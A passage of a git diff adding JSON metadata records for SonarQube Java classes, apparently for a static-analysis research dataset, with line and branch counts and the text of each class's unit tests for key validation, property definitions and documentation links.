mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/issue/IssueChangedEvent.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/logs/DefaultProfiler.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/logs/NullProfiler.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/logs/Profiler.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/rule/RuleChange.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/rule/RuleSetChangedEvent.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/stream/MoreCollectors.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/ce.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/component.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/config.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/documentation.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/extension.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/fips.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/hash.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/i18n.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/issue.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/language.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/metric.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/platform.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/plugin.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/rule.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/sarif.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/scadata.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/telemetry.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/user.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/util.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/main/sonarqube-main.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/modules/modules.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Scripts/sonarqube-checkers.py create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Scripts/sonarqube-groups.py create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Scripts/sonarqube-modules.py diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/ce/CeTaskCharacteristics.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/ce/CeTaskCharacteristics.json new file mode 100644 index 0000000..70906d6 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/ce/CeTaskCharacteristics.json @@ -0,0 +1,13 @@ +{ + "name": "CeTaskCharacteristics", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 9, + "branches": 0, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/component/ComponentKeys.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/component/ComponentKeys.json new file mode 100644 index 0000000..7d1e655 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/component/ComponentKeys.json @@ -0,0 +1,62 @@ +{ + "name": "ComponentKeys", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 58, + "branches": 7, + "apis": 12, + "test": [ + { + "description": "create_key_from_module_key_path_and_branch", + "expected-problems": null, + "expected-linenumbers": 5, + "code": " public void create_key_from_module_key_path_and_branch() {\n\n assertThat(ComponentKeys.createKey(\"module_key\", \"file\", \"origin/master\")).isEqualTo(\"module_key:origin/master:file\");\n\n assertThat(ComponentKeys.createKey(\"module_key\", \"file\", null)).isEqualTo(\"module_key:file\");\n\n assertThat(ComponentKeys.createKey(\"module_key\", null, null)).isEqualTo(\"module_key\");\n\n }" + }, + { + "description": "valid_project_key", + "expected-problems": null, + "expected-linenumbers": 4, + "code": " public void valid_project_key() {\n\n assertThat(ComponentKeys.isValidProjectKey(\"abc\")).isTrue();\n\n assertThat(ComponentKeys.isValidProjectKey(\"ab_12\")).isTrue();\n\n }" + }, + { + "description": "invalid_project_key", + "expected-problems": null, + "expected-linenumbers": 10, + "code": " public void invalid_project_key() {\n\n assertThat(ComponentKeys.isValidProjectKey(\"0123\")).isFalse();\n\n\n\n assertThat(ComponentKeys.isValidProjectKey(\"ab/12\")).isFalse();\n\n assertThat(ComponentKeys.isValidProjectKey(\"코드품질\")).isFalse();\n\n\n\n assertThat(ComponentKeys.isValidProjectKey(\"\")).isFalse();\n\n assertThat(ComponentKeys.isValidProjectKey(\" \")).isFalse();\n\n assertThat(ComponentKeys.isValidProjectKey(\"ab 12\")).isFalse();\n\n assertThat(ComponentKeys.isValidProjectKey(\" ab\")).isFalse();\n\n assertThat(ComponentKeys.isValidProjectKey(\"ab \")).isFalse();\n\n }" + }, + { + "description": "checkProjectKey_with_correct_keys", + "expected-problems": null, + "expected-linenumbers": 4, + "code": " public void checkProjectKey_with_correct_keys() {\n\n ComponentKeys.checkProjectKey(\"abc\");\n\n ComponentKeys.checkProjectKey(\"a-b_1.:2\");\n\n }" + }, + { + "description": "checkProjectKey_fail_if_key_is_empty", + "expected-problems": null, + "expected-linenumbers": 4, + "code": " public void checkProjectKey_fail_if_key_is_empty() {\n\n assertThatThrownBy(() -> ComponentKeys.checkProjectKey(\"\"))\n\n .isInstanceOf(IllegalArgumentException.class);\n\n }" + }, + { + "description": "checkProjectKey_fail_if_space", + "expected-problems": null, + "expected-linenumbers": 4, + "code": " public void checkProjectKey_fail_if_space() {\n\n assertThatThrownBy(() -> ComponentKeys.checkProjectKey(\"ab 12\"))\n\n .isInstanceOf(IllegalArgumentException.class);\n\n }" + }, + { + "description": "checkProjectKey_fail_if_only_digit", + "expected-problems": null, + "expected-linenumbers": 5, + "code": " public void checkProjectKey_fail_if_only_digit() {\n\n assertThatThrownBy(() -> ComponentKeys.checkProjectKey(\"0123\"))\n\n .isInstanceOf(IllegalArgumentException.class)\n\n .hasMessage(\"Malformed key for '0123'. Allowed characters are alphanumeric, '-', '_', '.' and ':', with at least one non-digit.\");\n\n }" + }, + { + "description": "checkProjectKey_fail_if_special_characters_not_allowed", + "expected-problems": null, + "expected-linenumbers": 4, + "code": " public void checkProjectKey_fail_if_special_characters_not_allowed() {\n\n assertThatThrownBy(() -> ComponentKeys.checkProjectKey(\"0123\"))\n\n .isInstanceOf(IllegalArgumentException.class);\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/AiCodeFixEnablementConstants.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/AiCodeFixEnablementConstants.json new file mode 100644 index 0000000..95de074 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/AiCodeFixEnablementConstants.json @@ -0,0 +1,13 @@ +{ + "name": "AiCodeFixEnablementConstants", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 9, + "branches": 0, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/AiCodefixPropertyDefinitions.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/AiCodefixPropertyDefinitions.json new file mode 100644 index 0000000..5a0e333 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/AiCodefixPropertyDefinitions.json @@ -0,0 +1,13 @@ +{ + "name": "AiCodefixPropertyDefinitions", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 18, + "branches": 1, + "apis": 9, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/ComputeEngineProperties.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/ComputeEngineProperties.json new file mode 100644 index 0000000..9052834 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/ComputeEngineProperties.json @@ -0,0 +1,13 @@ +{ + "name": "ComputeEngineProperties", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 5, + "branches": 0, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/CorePropertyDefinitions.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/CorePropertyDefinitions.json new file mode 100644 index 0000000..510162f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/CorePropertyDefinitions.json @@ -0,0 +1,26 @@ +{ + "name": "CorePropertyDefinitions", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 180, + "branches": 4, + "apis": 166, + "test": [ + { + "description": "all", + "expected-problems": null, + "expected-linenumbers": 4, + "code": " public void all() {\n\n List defs = CorePropertyDefinitions.all();\n\n assertThat(defs).isNotEmpty();\n\n }" + }, + { + "description": "all_includes_scanner_properties", + "expected-problems": null, + "expected-linenumbers": 6, + "code": " public void all_includes_scanner_properties() {\n\n List defs = CorePropertyDefinitions.all();\n\n\n\n assertThat(defs.stream()\n\n .filter(def -> def.key().equals(ScannerProperties.BRANCH_NAME))\n\n .findFirst()).isPresent();\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/DebtProperties.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/DebtProperties.json new file mode 100644 index 0000000..1a8fbaf --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/DebtProperties.json @@ -0,0 +1,13 @@ +{ + "name": "DebtProperties", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 27, + "branches": 3, + "apis": 15, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/ExclusionProperties.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/ExclusionProperties.json new file mode 100644 index 0000000..d14397f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/ExclusionProperties.json @@ -0,0 +1,13 @@ +{ + "name": "ExclusionProperties", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 64, + "branches": 0, + "apis": 54, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/Frequency.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/Frequency.json new file mode 100644 index 0000000..db1c719 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/Frequency.json @@ -0,0 +1,13 @@ +{ + "name": "Frequency", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 18, + "branches": 0, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/IssueExclusionProperties.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/IssueExclusionProperties.json new file mode 100644 index 0000000..75001be --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/IssueExclusionProperties.json @@ -0,0 +1,13 @@ +{ + "name": "IssueExclusionProperties", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 105, + "branches": 4, + "apis": 72, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/Logback.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/Logback.json new file mode 100644 index 0000000..7225a90 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/Logback.json @@ -0,0 +1,13 @@ +{ + "name": "Logback", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 44, + "branches": 2, + "apis": 12, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/MQRModeConstants.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/MQRModeConstants.json new file mode 100644 index 0000000..447af43 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/MQRModeConstants.json @@ -0,0 +1,13 @@ +{ + "name": "MQRModeConstants", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 10, + "branches": 0, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/MQRModeProperties.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/MQRModeProperties.json new file mode 100644 index 0000000..613c287 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/MQRModeProperties.json @@ -0,0 +1,13 @@ +{ + "name": "MQRModeProperties", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 23, + "branches": 1, + "apis": 12, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/MaxTokenLifetimeOption.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/MaxTokenLifetimeOption.json new file mode 100644 index 0000000..f370ca0 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/MaxTokenLifetimeOption.json @@ -0,0 +1,38 @@ +{ + "name": "MaxTokenLifetimeOption", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 31, + "branches": 0, + "apis": 7, + "test": [ + { + "description": "all_options_present", + "expected-problems": null, + "expected-linenumbers": 3, + "code": " public void all_options_present() {\n\n assertThat(MaxTokenLifetimeOption.values()).hasSize(4);\n\n }" + }, + { + "description": "when_get_by_name_then_the_enum_value_is_returned", + "expected-problems": null, + "expected-linenumbers": 6, + "code": " public void when_get_by_name_then_the_enum_value_is_returned() {\n\n assertThat(MaxTokenLifetimeOption.get(\"30 days\")).isEqualTo(THIRTY_DAYS);\n\n assertThat(MaxTokenLifetimeOption.get(\"90 days\")).isEqualTo(NINETY_DAYS);\n\n assertThat(MaxTokenLifetimeOption.get(\"1 year\")).isEqualTo(ONE_YEAR);\n\n assertThat(MaxTokenLifetimeOption.get(\"No expiration\")).isEqualTo(NO_EXPIRATION);\n\n }" + }, + { + "description": "when_get_by_name_nonexistant_then_exception_is_thrown", + "expected-problems": null, + "expected-linenumbers": 5, + "code": " public void when_get_by_name_nonexistant_then_exception_is_thrown() {\n\n assertThatExceptionOfType(IllegalArgumentException.class)\n\n .isThrownBy(() -> MaxTokenLifetimeOption.get(\"wrong lifetime\"))\n\n .withMessage(\"No token expiration interval with name \\\"wrong lifetime\\\" found.\");\n\n }" + }, + { + "description": "lifetime_options_days", + "expected-problems": null, + "expected-linenumbers": 6, + "code": " public void lifetime_options_days() {\n\n assertThat(THIRTY_DAYS.getDays()).hasValue(30);\n\n assertThat(NINETY_DAYS.getDays()).hasValue(90);\n\n assertThat(ONE_YEAR.getDays()).hasValue(365);\n\n assertThat(NO_EXPIRATION.getDays()).isEmpty();\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/ProxyProperties.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/ProxyProperties.json new file mode 100644 index 0000000..279a621 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/ProxyProperties.json @@ -0,0 +1,13 @@ +{ + "name": "ProxyProperties", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 6, + "branches": 0, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/PurgeConstants.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/PurgeConstants.json new file mode 100644 index 0000000..dfe7324 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/PurgeConstants.json @@ -0,0 +1,13 @@ +{ + "name": "PurgeConstants", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 15, + "branches": 0, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/PurgeProperties.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/PurgeProperties.json new file mode 100644 index 0000000..256bb14 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/PurgeProperties.json @@ -0,0 +1,20 @@ +{ + "name": "PurgeProperties", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 81, + "branches": 5, + "apis": 71, + "test": [ + { + "description": "shouldGetExtensions", + "expected-problems": null, + "expected-linenumbers": 3, + "code": " public void shouldGetExtensions() {\n\n assertThat(PurgeProperties.all()).hasSize(7);\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/ScannerProperties.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/ScannerProperties.json new file mode 100644 index 0000000..31db01d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/ScannerProperties.json @@ -0,0 +1,13 @@ +{ + "name": "ScannerProperties", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 70, + "branches": 5, + "apis": 51, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/SecurityProperties.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/SecurityProperties.json new file mode 100644 index 0000000..cb71b1c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/SecurityProperties.json @@ -0,0 +1,20 @@ +{ + "name": "SecurityProperties", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 37, + "branches": 2, + "apis": 24, + "test": [ + { + "description": "creates_properties", + "expected-problems": null, + "expected-linenumbers": 10, + "code": " public void creates_properties() {\n\n assertThat(SecurityProperties.all()).isNotEmpty();\n\n Optional propertyDefinition = SecurityProperties.all().stream()\n\n .filter(d -> d.key().equals(\"sonar.forceAuthentication\")).findFirst();\n\n assertThat(propertyDefinition)\n\n .isNotEmpty()\n\n .get()\n\n .extracting(PropertyDefinition::defaultValue)\n\n .isEqualTo(\"true\");\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/SvnProperties.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/SvnProperties.json new file mode 100644 index 0000000..5fdf6aa --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/SvnProperties.json @@ -0,0 +1,13 @@ +{ + "name": "SvnProperties", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 9, + "branches": 0, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/TokenExpirationConstants.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/TokenExpirationConstants.json new file mode 100644 index 0000000..461f25c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/TokenExpirationConstants.json @@ -0,0 +1,13 @@ +{ + "name": "TokenExpirationConstants", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 5, + "branches": 0, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/WebConstants.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/WebConstants.json new file mode 100644 index 0000000..5374cdc --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/WebConstants.json @@ -0,0 +1,13 @@ +{ + "name": "WebConstants", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 10, + "branches": 0, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/documentation/DefaultDocumentationLinkGenerator.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/documentation/DefaultDocumentationLinkGenerator.json new file mode 100644 index 0000000..84de2e7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/documentation/DefaultDocumentationLinkGenerator.json @@ -0,0 +1,44 @@ +{ + "name": "DefaultDocumentationLinkGenerator", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 15, + "branches": 0, + "apis": 11, + "test": [ + { + "description": "getDocumentationLink_whenSuffixProvided_concatenatesIt", + "expected-problems": null, + "expected-linenumbers": 4, + "code": " public void getDocumentationLink_whenSuffixProvided_concatenatesIt() {\n\n String generatedLink = documentationLinkGenerator.getDocumentationLink(TEST_SUFFIX);\n\n\n\n assertThat(generatedLink).isEqualTo(BASE_URL + \"/documentation/analyzing-source-code/scm-integration/\");\n\n }" + }, + { + "description": "getDocumentationLink_whenSuffixNotProvided_returnsBaseUrl", + "expected-problems": null, + "expected-linenumbers": 4, + "code": " public void getDocumentationLink_whenSuffixNotProvided_returnsBaseUrl() {\n\n String generatedLink = documentationLinkGenerator.getDocumentationLink(null);\n\n\n\n assertThat(generatedLink).isEqualTo(BASE_URL);\n\n }" + }, + { + "description": "getDocumentationLink_suffixProvided_withPropertyOverride", + "expected-problems": null, + "expected-linenumbers": 7, + "code": " public void getDocumentationLink_suffixProvided_withPropertyOverride() {\n\n String propertyValue = \"https://new-url.sonarqube.org/\";\n\n when(configuration.get(DOCUMENTATION_BASE_URL)).thenReturn(Optional.of(propertyValue));\n\n documentationLinkGenerator = new DefaultDocumentationLinkGenerator(configuration, documentationBaseLinkProvider);\n\n\n\n String generatedLink = documentationLinkGenerator.getDocumentationLink(TEST_SUFFIX);\n\n\n\n assertThat(generatedLink).isEqualTo(propertyValue + \"documentation/analyzing-source-code/scm-integration/\");\n\n }" + }, + { + "description": "getDocumentationLink_suffixNotProvided_withPropertyOverride", + "expected-problems": null, + "expected-linenumbers": 7, + "code": " public void getDocumentationLink_suffixNotProvided_withPropertyOverride() {\n\n String propertyValue = \"https://new-url.sonarqube.org/\";\n\n when(configuration.get(DOCUMENTATION_BASE_URL)).thenReturn(Optional.of(propertyValue));\n\n documentationLinkGenerator = new DefaultDocumentationLinkGenerator(configuration, documentationBaseLinkProvider);\n\n\n\n String generatedLink = documentationLinkGenerator.getDocumentationLink(null);\n\n\n\n assertThat(generatedLink).isEqualTo(\"https://new-url.sonarqube.org\");\n\n }" + }, + { + "description": "getDocumentationLink_suffixNotProvided_withPropertyOverride_missingSlash", + "expected-problems": null, + "expected-linenumbers": 7, + "code": " public void getDocumentationLink_suffixNotProvided_withPropertyOverride_missingSlash() {\n\n String propertyValue = \"https://new-url.sonarqube.org\";\n\n when(configuration.get(DOCUMENTATION_BASE_URL)).thenReturn(Optional.of(propertyValue));\n\n documentationLinkGenerator = new DefaultDocumentationLinkGenerator(configuration, documentationBaseLinkProvider);\n\n\n\n String generatedLink = documentationLinkGenerator.getDocumentationLink(null);\n\n\n\n assertThat(generatedLink).isEqualTo(propertyValue);\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/documentation/DocumentationBaseLinkProvider.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/documentation/DocumentationBaseLinkProvider.json new file mode 100644 index 0000000..0c3d1da --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/documentation/DocumentationBaseLinkProvider.json @@ -0,0 +1,13 @@ +{ + "name": "DocumentationBaseLinkProvider", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 3, + "branches": 0, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/documentation/DocumentationLinkGenerator.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/documentation/DocumentationLinkGenerator.json new file mode 100644 index 0000000..65777a5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/documentation/DocumentationLinkGenerator.json @@ -0,0 +1,13 @@ +{ + "name": "DocumentationLinkGenerator", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 3, + "branches": 0, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/documentation/VersionedDocumentationBaseLinkProvider.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/documentation/VersionedDocumentationBaseLinkProvider.json new file mode 100644 index 0000000..388f8a2 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/documentation/VersionedDocumentationBaseLinkProvider.json @@ -0,0 +1,13 @@ +{ + "name": "VersionedDocumentationBaseLinkProvider", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 22, + "branches": 3, + "apis": 6, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/extension/CoreExtension.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/extension/CoreExtension.json new file mode 100644 index 0000000..3dd25ab --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/extension/CoreExtension.json @@ -0,0 +1,20 @@ +{ + "name": "CoreExtension", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 28, + "branches": 1, + "apis": 1, + "test": [ + { + "description": "getExtensionProperties_by_default_does_not_contain_any_overridden_property_defaults", + "expected-problems": null, + "expected-linenumbers": 3, + "code": " public void getExtensionProperties_by_default_does_not_contain_any_overridden_property_defaults() {\n\n assertThat(underTest.getExtensionProperties()).isEmpty();\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/extension/CoreExtensionRepository.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/extension/CoreExtensionRepository.json new file mode 100644 index 0000000..8d4ace3 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/extension/CoreExtensionRepository.json @@ -0,0 +1,13 @@ +{ + "name": "CoreExtensionRepository", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 30, + "branches": 6, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/extension/CoreExtensionRepositoryImpl.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/extension/CoreExtensionRepositoryImpl.json new file mode 100644 index 0000000..a24586e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/extension/CoreExtensionRepositoryImpl.json @@ -0,0 +1,50 @@ +{ + "name": "CoreExtensionRepositoryImpl", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 31, + "branches": 0, + "apis": 9, + "test": [ + { + "description": "loadedCoreExtensions_fails_with_ISE_if_called_before_setLoadedCoreExtensions", + "expected-problems": null, + "expected-linenumbers": 5, + "code": " public void loadedCoreExtensions_fails_with_ISE_if_called_before_setLoadedCoreExtensions() {\n\n assertThatThrownBy(() -> underTest.loadedCoreExtensions())\n\n .isInstanceOf(IllegalStateException.class)\n\n .hasMessage(\"Repository has not been initialized yet\");\n\n }" + }, + { + "description": "setLoadedCoreExtensions_fails_with_NPE_if_argument_is_null", + "expected-problems": null, + "expected-linenumbers": 4, + "code": " public void setLoadedCoreExtensions_fails_with_NPE_if_argument_is_null() {\n\n assertThatThrownBy(() -> underTest.setLoadedCoreExtensions(null))\n\n .isInstanceOf(NullPointerException.class);\n\n }" + }, + { + "description": 